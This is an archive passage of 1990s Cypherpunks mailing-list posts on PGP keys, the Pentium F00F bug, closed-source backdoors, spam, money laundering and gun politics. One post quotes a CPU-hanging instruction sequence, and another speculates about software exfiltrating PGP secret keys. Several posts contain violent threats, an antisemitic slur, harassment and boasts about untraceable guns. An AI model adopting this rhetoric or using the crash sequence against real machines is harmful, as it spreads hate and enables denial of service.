To: cypherpunks@toad.com
Subject: Re: To: Amad3us Re: Your keys
Message-ID: <199711101006.LAA13945@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> I tried adding Amad3us's key to my PGP5.0 keyring,
> and got a dialog box saying
>         PGP failed to add the key(s) to your keyring
> 
> Is this really you correct key?  What are your
> KeyID, fingerprint, and a keyserver that has your key?

Bill,

Try this one:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0PokAVQMFEDRm9noK
WjOVYcdHsQEBQAUB+QGswIJE3x2VPRwM6e7RdJdIvXeHa7pgZpDVEIetctxpTi2F
nj45S0V4oHqUNJvmYYeApxC2hkEjn9Ia/EFglF4=
=ossQ
-----END PGP PUBLIC KEY BLOCK-----

Signing Key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQBNAzRmZWoAAAECAMnJrqd/TERCLeFscdgNvwVxrVG4tRm0VThMEXXkctCGMaUD
jcETxcV0ZseRUcyUKfqlLd3CRsIwClozlWHHR7EABRG0FU5lY2Vzc2FyaWx5IEtu
b3R0LCBNRQ==
=eg16
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 11 Nov 1997 00:35:49 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: Sloppy Chips from Int
Message-ID: <199711101615.KAA05208@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:emc@wire.insync.net to Harka <=-

 In> By now everyone has probably heard that Intel Pentium and
 In> Pentium MMX chips hang when executing the instruction sequence
 In> F00FC7C8 even when in an outer ring of privilege or in V86
 In> mode.

<snip>

 In> Unlike Unix, for which complete compilable source code is
 In> available, we know little about what what microcode is run
 In> through the several million transistors on a typical
 In> microprocessor. If sloppy engineering alone produces such
 In> dangerous faults, imagine what could happen should industry
 In> decide to deliberately cooperate with various LEAs and TLAs.
 In> (In the national interest, of course.)

 In> The possiblities are truly mind-boggling.  Perhaps exploits
 In> like tapping Aldrich Ames' PC and crashing Saddam Husseins'
 In> PCs en masse were not done by black bag jobs and viri, but by
 In> the activation of "National Security" backdoors present in all
 In> complex modern microprocessors.


This somewhat overlaps with another emerging possibility I've been
thinking about since the beginning of the DES and RC5-search.

While I am very supportive of the general idea of distributing any
such computationally intensive applications onto the many CPU's
available today, it also opens the door to another potential
horror: distributed horror.

The concept of "The Internet one big Supercomputer" makes sense,
but if _we_ can do it so can _they_! And herein lies the immense
potential danger of undisclosed source-code.

Who can guarantee, that Windows 3.1/95/NT/whatever and any other OS
and Applications with no open source won't employ a client
similar to RC5 of it's own...secretly running in the background
doing it's Big Brother work? The same might apply to the CPU's
themselves, or a combination thereof.

Especially Windows-users are by now more than sufficiently
conditioned to see installing regular "bug-fixes" disguised as
"service-packs" as a normal part of their "work". It would be
fairly easy to send along an application, that does something very
differently than merely fixing bugs...and since nobody can ever
verify the source-code independently from MS (or Intel etc.),
chances are, that it would remain undetected for the general public
for a long time.
The application could even be remotely triggered to cease working
or be deleted by the next "service-pack" to ensure sneakiness.

People might remember the Windows95 Registration-Wizard, which
apparently collected data about programs found on the hard drive
etc. and sent it along to Microsoft to be analyzed by them.
Since things have become that easy, it'd probably be trivial from a
technical perspective to send along secring.pgp, maybe even the
captured passphrase. Now that the average PC is connected to the Net
quite frequently if not constantly, it could do such things in the
background while the user is waiting for his "web page to download".

There's almost no way of telling if the system is closed off from
the user, such as Windows is.
First, there's no source-code. Nobody knows, what the (by now)
probably millions of lines of code actually do other than what's
visible.
Second, "looking under the hood" seems to become more and more
discouraged by the overall design and to actually know what your
system is doing at any time is now almost impossible with
Windows95/NT...at least outside the regular user-space.

Point 1 and 2 combined create a totally non-transparent system,
that could potentially be used for many (undetectable)
horror-"applications" such as mentioned before...

CPU's upgradable via software (Flash-ROM), modems etc. add to the
problem.

"Mind-boggling" indeed...

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... "Every CPU you have can be used against you"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNGcxhjltEBIEF0MBAQFnrQf+P1+6ZzdcJ2tKF//v2zu1z0d9b7fHqEW1
zX6U7d2SUqpuHcX3YSRGyd3fR5XPnxGj91iTA2pYnSr76Fcx06k+MfFpgpo1RxYn
Jnx4oBeeUyO5t2peR/CBb+2gJ54OMwv7azxpKZ1/F+GVWhzXR2KZjnWZ7vArK6kY
wcehcR/4QeJa1OxMVXWBYRPyUz8TLfAS5GPnOJrqYSf/HzgwrWWlJ2USzS5/uRwA
OcvI/w1fOsRKxvN6gKNeO2tZLqv2U/+AmCBCuCwos86yjXZTlpU0u2xhnxnIcJjR
T3EIAk3oSXvBBmK5QET//bRllD1JjttUMdRrCGwWunO/1PNRiFzTQw==
=HycV
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Nov 1997 02:02:51 +0800
To: cypherpunks@toad.com
Subject: Profile of a Spammer, from The Netly News
Message-ID: <v03007801b08cf87d482b@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



**********

http://cgi.pathfinder.com/netly/opinion/0,1042,1569,00.html

The Netly News (http://netlynews.com/)
November 10, 1997

Profile of a Spammer
by Robin Miller

       Whatever you do, don't call Kevin Jones a spammer. "Spammers are
   people who send all kinds of e-mail to everyone. I don't do that.
   Don't lump me with the spammers," he insists. "I send out nothing but
   targeted e-mail. It's not the same thing."

        But since Kevin's "targeting" has all the precision and subtlety
   of a sawed-off shotgun, chances are you've been spending your time
   deleting his spam. Since Kevin entered what he calls the "Internet
   promotion" business in January 1997, he's fired off more than 25
   million pieces of "targeted e-mail" on behalf of everything from
   credit repair kits to surplus merchandise. Every month he hones his
   software, attracts new clients -- and, most importantly, adds more
   unsuspecting users to his mailing lists. With a little luck, he'll
   send out up to 100 million pieces of e-mail next year. And since he
   gets paid by the piece, just like companies that handle direct postal
   mail promotions, the more e-mail Kevin sends out, the happier he is.

[...]

     Software is the second key to success in Internet direct
   marketing. Kevin's favorite program is NewsBlaster. It's probably the
   most popular spamware on the market today, and Kevin is one of its
   most devout adherents. NewsBlaster lets him extract up to 15,000
   e-mail addresses an hour from targeted newsgroups -- and automatically
   delete addresses with .edu, .gov and .org top-level domains (which
   tend to be more hostile to bulk e-mail than .net or .com). Kevin also
   prefers to bypass AOL members "because AOL sues guys like me a lot,"
   so he has NewsBlaster delete AOL members from his lists, and also
   removes e-mail addresses with more than 30 characters "because they
   upload so slow, and in this business speed is everything."

[...]

       But despite these precautions, Kevin and his clients still get
   their share of flames. "I figure on maybe 500 every time I send out
   e-mail," he says, "and I still have trouble figuring out why people do
   that. I'm a little guy trying to make a living on the Internet,
   helping other little guys make a few bucks. I'm not out stealing, I'm
   not hurting anyone... People who don't like getting e-mail are just
   making life hard for small guys to make a buck, that's all they're
   doing."

###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 12 Nov 1997 02:34:24 +0800
To: Lucky Green <pooh@efga.org>
Subject: Re: PGP compatibility
In-Reply-To: <3.0.3.32.19971102005347.006b8be4@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971110125914.006e179c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> My copy of PGP 5.0 seems to be completely compatible with 2.6 versions.  This 
...
>Of course your copy of PGP 5.0 is compatible with prior versions. I know
>this, you know this, and the anonymous author claiming otherwise knows

Some of the free 5.0 versions can use RSA keys, and some can't.
Robert has the $5 RSA plugin, so his can.  The Eudora version can't,
and I think the MIT version can, or maybe it was the one on www.pgp.com.

By "can't", I mean that it not only won't let you generate RSA keys,
it also won't use existing RSA private keys from your old secring.pgp file;
I don't know if it can encrypt to other people's RSA public keys or not.

I found this very annoying a couple months ago when I was rebuilding my
PGP from backups after a disk crash :-)  The 5.0 version I'd been using
before the crash was happily using my RSA keys, and the brand new Eudora version
I used after the crash wouldn't take them, and wasn't very clear about why.
One of the local PGP folks told me there was a difference, and loading the right
version took care of the problem, and I don't remember encrypting to or
validating from any RSA keys in between.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Bradley" <csm70830@port.ac.uk>
Date: Mon, 10 Nov 1997 21:07:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WARNING: Serious Pentium Bug
In-Reply-To: <199711091525.JAA10950@dfw-ix16.ix.netcom.com>
Message-ID: <10492831721@os05.iso.port.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >This require no special permissions to run, it works fine with
> >average-joe-userspace permissions. I have verified this, it works.
> >Demand a new CPU from Intel.
> 
> This didn't crash my Pentium.  Hoax?

No way, this P200 croaked instantly the code was run, in the wrong 
hands this has serious network takedown potential.


--                  
                            Paul Bradley 
                      paul@fatmans.demon.co.uk
       "Why should anyone want to live on rails?" - Stephen Fry





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 11 Nov 1997 04:24:59 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: [URGENT] ZKP
In-Reply-To: <7052fc4fb6f7b91316495c4daba58576@anon.efga.org>
Message-ID: <Pine.A41.3.95.971110130522.30618C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 9 Nov 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. Maypole, a product of anal birth, appeared with a coathanger 
> through his head.
> 
>          (_) _____ (_)
>             /O   O\   Tim C. Maypole
>            !   I   !
>            ! \___/ !
>             \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 11 Nov 1997 05:11:06 +0800
To: cypherpunks@Algebra.COM
Subject: Bell vs. Woodward--justice?
Message-ID: <v03102800b08d18c99cbf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Apparently shaking a baby to death is a lesser crime than opposing
government fascism and having a continuing interest in chemistry.

And people wonder why the militia movement is gaining strength every day.

The au pair Louise Woodward will serve less time in jail than Jim Bell
will. While Bell languishes in a Washington state jail, awaiting (for
almost 7 months!!) his sentence, the convicted babykiller is now free.

I guess having a couple of fake SS tattoos, er, "numbers," and possibly
opening a vial of mercaptin where some people would smell it, is a more
serious crime than shaking a baby to death.

Only in Amerika.

Lock and load.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 11 Nov 1997 05:22:04 +0800
To: cypherpunks@toad.com
Subject: Gun Control brings on a New Arms Race
In-Reply-To: <199711090544.GAA04712@basement.replay.com>
Message-ID: <v03102803b08c532f2fec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:44 PM -0700 11/8/97, Anonymous wrote:

>  After the government has finished arming park rangers, as well as all
>federal daycare workers and filing clerks, I suppose they will begin
>giving
>surplus military weapons to USENET censors, and the like, and deputizing
>them so that they can legally enforce their own narrow views.


The arms race is on. The Feds are arming themselves, and the citizen-units
are doing likewise.

At the San Francisco Gun Show this past weekend, I watched with great
amusement as the San Mateo County Sheriff's Office deputies and Brisbane
Police stared in apparent horror as citizen-units loaded up on
high-capacity mags, armor-piercing ammo, Class III body armor, and on and
on. The cops are stationed at the door, ostensibly to spot gross violations
of the law, such as carry of loaded weapons. The cops asked me if I was
carrying guns into the show to sell...I just shrugged. Without a warrant,
they were helpless to do more than just ask. It was a gas.

(A friend of a friend scored a "cold" Glock 17L...$400 in "NQA" condition,
immediate delivery.)

Billy Boy Gates was a hit of the show. Because of his support of Washington
State "676" bill, t-shirts with his face in the crosshairs.

(Me, I think he' just a misguided billionaire with the usual Kennedyesque
guilt feelings that cause him to want to "do something." I wish him no
particular harm. But some of the guys I talked to said he ought to be taken
out with a .308 "unmaskable interrupt." This as they were looking over a
heavy barrel Remington Sendero in 300 Winchester Magnum. Just the thing for
reaching out and touching someone. A bit extreme, but the gun shows bring
out the honesty in people.)

All I bought were some lasers, some .223 vest-piercers, and a few special
parts for my Colt HBAR. Oh, and I took delivery on a so-called "assault
pistol"--30 rounds of .223 rifle ammunition in a package that fits under an
overcoat. I'll be ready for the November Raids.

Like I said, the cops appeared chagrinned. I think they realize the
anti-gun efforts have backfired, causing citizen-units to arms themselves
as never before. As fast as the Congressvermin can pass laws, loopholes
appear.

I used to go to gun shows a lot, back in the 70s and 80s, and I can tell
you that the efforts by Klinton and Swinestein and the American Jewish
Congress and all the other vermin are only having the effect of causing our
kind of people to arm themselves to the teeth. There are probably more
30-round assault rifle mags available now that at the height of the Viet
Nam war.


30-round Glock mags, 15-round HK USP mags, and literally thousands of
high-capacity AR-15, AK-47, and SKS mags were readily available.

A friend of mine scored at least 15 Glock mags, a dozen AR-15 mags, and a
set of four AK-47 mags. (Even I have to admit he's gone overboard...how can
he ever use the dozen or so assault rifles and submachine guns he owns?
Many of them "cold.")

Why can't the gun grabbers realize that Americans will not give up their
guns, and that every wave of efforts to try to grab them just stimulates
the market even more?

Interesting times. The rumored November raids could be very interesting.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 11 Nov 1997 03:45:03 +0800
To: cypherpunks@toad.com
Subject: New WorldCom Order
Message-ID: <346760D2.6352@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



http://www.msnbc.com/news/122668.asp

Re: WorldCom-MCI Merger

Internet access rates? It might raise them.
Indirectly, it could increase the cost of doing business for 
Internet Access Providers, or ISPs. WorldCom would now own a 
large part of the Internet backbone. All ISPs pay fees to 
connect to the backbone. Sprint would be rates for ISPs, 
which would be passed along to Internet consumers. 


Sidenote: To those kind and not-so-kind souls who took the time
  to inform me that my WorldCom prediction was ludicrous, because
  of the fact that MCI already had a done-deal in the bag with
  British TeleCom...
  Tthhhppptttoooee!

TthhhppptttoooeeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 11 Nov 1997 05:33:43 +0800
To: cypherpunks@Algebra.COM
Subject: Money Laundering Nonsense.
Message-ID: <3.0.3.32.19971110150609.006e31f4@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain




Note- cypherpunks: reply by mail, I'm not on the list any longer.

Chicago Tribune
Monday, November 10, 1997

Money Laundering law netting more small fry.
Prosecutors putting new tool to work.

A sentencing weapon Congress intended for use against drug lords is being
wielded against other defendants.  Judges and others say this has
diminished legal fairness.

By Jan Crawford Greenburg
Washington Bureau

Washington-  Jose Caba considered himself a hardworking, law-abiding man,
and immigrant who built a business selling groceries in a poor Brooklyn
neighborhood.

But when he started illegally redeeming food stamps and depositing the
proceeds into a bank account, prosecutors thought otherwise.  They accused
him of money laundering and sought a harsh sentence.

Caba, who thought he was only bending administrative rules, isn't the kind
of criminal Congress had in mind when it decided to give prosecutors a
weapon to bring down powerful drug lords.  Nevertheless, he is one of a
growing number of defendants who commit routine fraud and find themselves
facing big-time charges of money laundering.

[...]

More and more prosecutors are invoking [money laundering statutes] in
simple fraud, bribery and embezzlement cases, a trend that doesn't sit well
with many federal judges or the U.S. Sentencing Commission.

In a strongly worded report, the commission... is recommending that the
sentences for money laundering be reworked.  The penalties are unfair, the
commission said, because they often vastly exceed the seriousness of the
crime.

Caba would have faced 2 to 2 1/2 years in prison for food stamp fraud, but
because he deposited the funds in a bank- thereby meeting the definition of
laundering the money- he was looking at 10 to 12 years.

[...]

Nationally, statistics show a marked increase in money laundering cases.
In 1995 prosecutors charged 1700 people with money laundering, up from 250
in 1990.  More than half of the defendants charged in 1995 were involved in
non-drug related crimes.

Critics say the charged is used even more than the figures show because
prosecutors threaten defendants with the charge to get them to plead guilty
to the underlying crime.

"It has tremendous implications in the criminal justice system because
prosecutors can use it as a tremendous bargaining stick..." said Gordon
Greenberg, a defense attorney and an expert on money laundering.  "Every
single crime, theoretically, can be converted into money laundering because
the statute is that broad."

What's more, prosecutors in some areas routinely file the charge, while
others decline to do so.  As a result, "proportionality is lost and
appropriate uniformity is lost," said Jonathan Wroblewski, director of
legislative and public affairs for the sentencing commission.

[] stiff sentences also apply to defendants who make no attempt to cover up
their proceeds.  Caba laundered money by depositing it into a bank, even
though his deposits were by check and he paid taxes on his proceeds.

"For all intents and purposes, if you use your ill-gotten gains, it's money
laundering." said Alan Chaset, a lawyer who chairs the American Bar
Association's committee on sentencing guidelines.  "If you take money and
put it in a bank and then withdraw it and buy a stick of gum, it's money
laundering."

Some judges refuse to impose the sentence in cases where there was no
elaborate scheme to conceal the money, such as a 1994 case in which
prosecutors charged a defendant with money laundering when he put cash from
drug sales into a shoe box. [...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 12 Nov 1997 07:43:43 +0800
To: cypherpunks@cyberpass.net
Subject: Selling a Persistent Identity
Message-ID: <199711112333.RAA02693@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

How would you sell a persistent identity with a good reputation?

The obvious method of selling the secret key doesn't work because the
buyer has to trust the seller not to resell it.  This could be solved
by revealing your True Name, but that's no fun.  A nym with a good
reputation for this sort of business could be used, but that wouldn't
be any fun either since it could link a series of identities with one
source.

The only thing I can think of is to have a trusted party who creates
and manages the key.  When the owner of the key wants to sign
something, he or she sends it to the trusted party for signing and
transmission.  To sell the key, the trusted party is instructed to
accept the buyer's messages instead of the seller's.  The buyer and
the seller never actually possess the key themselves.

Is there a better way to do this?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNGi+FZaWtjSmRH/5AQFS1Qf+OPGg/JLuKVB7nab83W1Yh23woJ/om5pD
VDsiawtPAcwBRZhwVfOZltuJvovT7rgU7+Jqp6tzhuD8QApY48BSi36ywz+IQnH8
tLJgGV/g1j/afalEhdaOB13LsoBpYmTLvptK296FvUXYPNYumx3e16M8hJxq8SNF
2Tm3Z+ifH0gRLJKjAhOqyG2iMqnmtIYZzmhavPz6thjrE9nKaEE2PII5T2SP9B/J
sNsOJ7sjElWGlxemEGc9uR9wAKV/5qlMRRB8DOdLgcQTndjikvHU5uPb9lLYiSYc
4/nDbZNfe6W+gZj71Utm2Ubwu+x/3+fF46Db7j5e6XSrGCx+EzC7nA==
=QIDm
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Nov 1997 23:04:19 +0800
To: cypherpunks@toad.com
Subject: Festivity Levels
Message-ID: <199711101449.PAA14559@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



       Festivity Level 1: Your guests are chatting amiably with each
other, admiring your Christmas-tree ornaments, singing carols around
the upright piano, sipping at their drinks and nibbling hors d'oeuvres.

        Festivity Level 2: Your guests are talking loudly -- sometimes
to each other, and sometimes to nobody at all, rearranging your
Christmas-tree ornaments, singing "I Gotta Be Me" around the upright
piano, gulping their drinks and wolfing down hors d'oeuvres.

        Festivity Level 3: Your guests are arguing violently with
inanimate objects, singing "I can't get no satisfaction," gulping down
other peoples' drinks, wolfing down Christmas tree ornaments and
placing hors d'oeuvres in the upright piano to see what happens when
the little hammers strike.

        Festivity Level 4: Your guests, hors d'oeuvres smeared all over
their naked bodies are performing a ritual dance around the burning
Christmas tree.  The piano is missing.

        You want to keep your party somewhere around level 3, unless
you rent your home and own Firearms, in which case you can go to level
4.  The best way to get to level 3 is egg-nog.
----------------------------------------------------------------
this is Fyodor's mailing list. to Subscribe/unsubscribe complain send
message to fygrave@ro0ted.amalker.com.kg
--------------------------------------------------------------------

 Old timer, n.:
        One who remembers when charity was a virtue and not an
organization.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James F. Marshall" <marshall@ibm.net>
Date: Tue, 11 Nov 1997 08:24:44 +0800
To: "Cypherpunks Unedited List" <cypherpunks@toad.com>
Subject: Mixmaster Port Question
Message-ID: <199711110014.AAA30800@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The DOS version of Mixmaster requires Private Idaho.  Does a more
generic version, not dependent on Private Idaho, exist?

Has Mixmaster been ported to OS/2?

- -- James F. Marshall, Esq., Pasadena, California
   Subject "JFM Public Key" for PGP Public Key

- -- OS/2 is to Windows as Stradivarius is to Yamaha

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNGejajbjGennrhqZAQEsSQQAjQubYRR5ZBPSan3a6mxA+RN5kRmnRpTJ
cOOy1azCBDc938uZ5KQhOjePFfXtyb6aTCvu/5zQzqF5O7j3PyfTOZihSF4b56Tl
LUk7N2u7r4sQ2aXDJalTmN/+7OxMdMNu6pXCwFSx5HWD5w6JdmpNi4MAGY0jboxU
fUndeczgeZg=
=Hdkt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 11 Nov 1997 08:57:08 +0800
To: cypherpunks@Algebra.COM
Subject: RE: Bell vs. Woodward--justice?
In-Reply-To: <82E14F2F282AD11180330000010380310367B6@mallory.stallion.oz.au>
Message-ID: <v03102802b08d4a594185@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:47 PM -0700 11/10/97, rab@stallion.oz.au wrote:

>Here in Australia the media has been giving this trial regular coverage
>with the spin "Innocent English Person Wrongly Found Guilty by US Jury".
>The coverage led me to believe that despite scientific evidence to  the
>contrary the jury found Woodward guilty.  One other point from the
>coverage was that Woodward represented herself for at least some part of
>the trial, did Jim Bell do this too?
>
>Obviously Tim you have been exposed to very different media coverage.

Whatever. I've been exposed to entirely too much media coverage, that's for
sure.

I happen to believe Woodward was probably overcharged, in that I doubt she
had the requisite malice for a murder rap, though I think she did in fact
shake the baby.  So, manslaughter seems like an appropriate charge. From
what I've seen. But I wasn't on the jury. And those who _were_ on the jury
concluded she was guilty.

My main point was that James Dalton Bell has already spent nearly 7 months
in jail, and has yet to even be sentenced.  This seems out of whack. Where
I come from, sentence is part of a speedy trial.

Legally-trained Greg Broiles tells us that this is part of the Fed's
process of "determining" a sentence (my quotes, not necessarily Greg's).

Well, I call it "letting him twist slowly in the wind." Probably in the
hopes that he'll roll over on some of us who communicated with him, or
whose writings influenced him, on his Assassination Politics ideas. A kind
of psychological torture, designed to dangle a lighter sentence at the same
time a heavier sentence is threatened. Not my idea of a fair justice system.

>From Bell's notes to the outside world, reposted by John Young, it appears
the half-year of indeterminate sentence, as Bell awaits his "real"
sentence, has had the effect of breaking him, of causing him to recant his
views, and (speculating) perhaps rolling over on some of us.

When Bell is finally sentenced, supposedly on November 20th, it'll be
interesting to see what else happens.

I stand by my point that a convicted baby killer--whether the fickle media
thinks a nice girl like her did it or not--will end up serving less time in
jail than Jim Bell will. And Bell didn't kill a baby. Or anyone else. Nor
was anyone physically harmed by his crimes.

As for Australia, your countrymen acted like sheep in giving up their guns.
If they try that kind of shit here in this country, a *lot* of cops are
going to get killed.

(Not necessarily by me, though I'll defend my property and my
constitutional rights as best I can. But the militia and patriot and
anti-New World Order movements are preparing for war.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 11 Nov 1997 09:44:19 +0800
To: cypherpunks@toad.com
Subject: Re: Gun Control brings on a New Arms Race
Message-ID: <3.0.32.19971110173313.007023b0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>All I bought were some lasers, some .223 vest-piercers, and a few special
>parts for my Colt HBAR. Oh, and I took delivery on a so-called "assault
>pistol"--30 rounds of .223 rifle ammunition in a package that fits under an
>overcoat. I'll be ready for the November Raids.
..............................................


If we ever get into a real domestic war, I wanna go stay with Tim,
what with that arsenal stocked in his closet.
:>)


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 11 Nov 1997 10:43:50 +0800
To: Fabrice Planchon <cypherpunks@Algebra.COM
Subject: Re: Bell vs. Woodward--justice?
In-Reply-To: <v03102800b08d18c99cbf@[207.167.93.63]>
Message-ID: <v03102803b08d6576a063@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:09 PM -0700 11/10/97, Fabrice Planchon wrote:
>On lun 10 nov  1997 à 01:06:08PM -0700, Tim May wrote:
>>
>> Apparently shaking a baby to death is a lesser crime than opposing
>> government fascism and having a continuing interest in chemistry.
>
>I just read the judge statement and found it rather good. It seems to me
>that he explains quite well the motivations of his decisions and so
>on. Now, wether he would have taken time to deeply think about the issue
>if the whole thing was taking place in a small american town with a
>babysitter from the neighborhood and no big media coverage, we don't
>know. It seems that the only thing which can be argued is wether the
>final sentence is appropriate or not. I guess the media will provide us
>with statistics on "how long you have to stay in prison when you have
>been convicted of manslaughter". I would expect a few years. She finally
>spent a little bit more than one year. Ok. Still, from what we have seen

279 days.



>of the american justice system in the past few years, I feel like this
>is an improvement, where common sense takes over money, racial issues,
>politics, etc. Or am I fooled by the media ;-) ?

You were fooled by the "pathos pendulum." The media started treating her as
poor little Louise Woodward, innocent au pair from Merrye Olde England,
being oppressed by the patriarchal colonials.

(Watch for the pendulum to now swing in the other direction.)

>As I said, she served some time waiting for her trial, too. Don't you

279 days. Yes, this is well known to those who followed it.

>think you are shooting the wrong target here ? I mean, I certainly agree

No, else I wouldn't have written what I wrote.

I said in two different posts that my main point was about Bell spending
more time in jail than a convicted baby killer.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Tue, 11 Nov 1997 09:30:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bell vs. Woodward--justice?
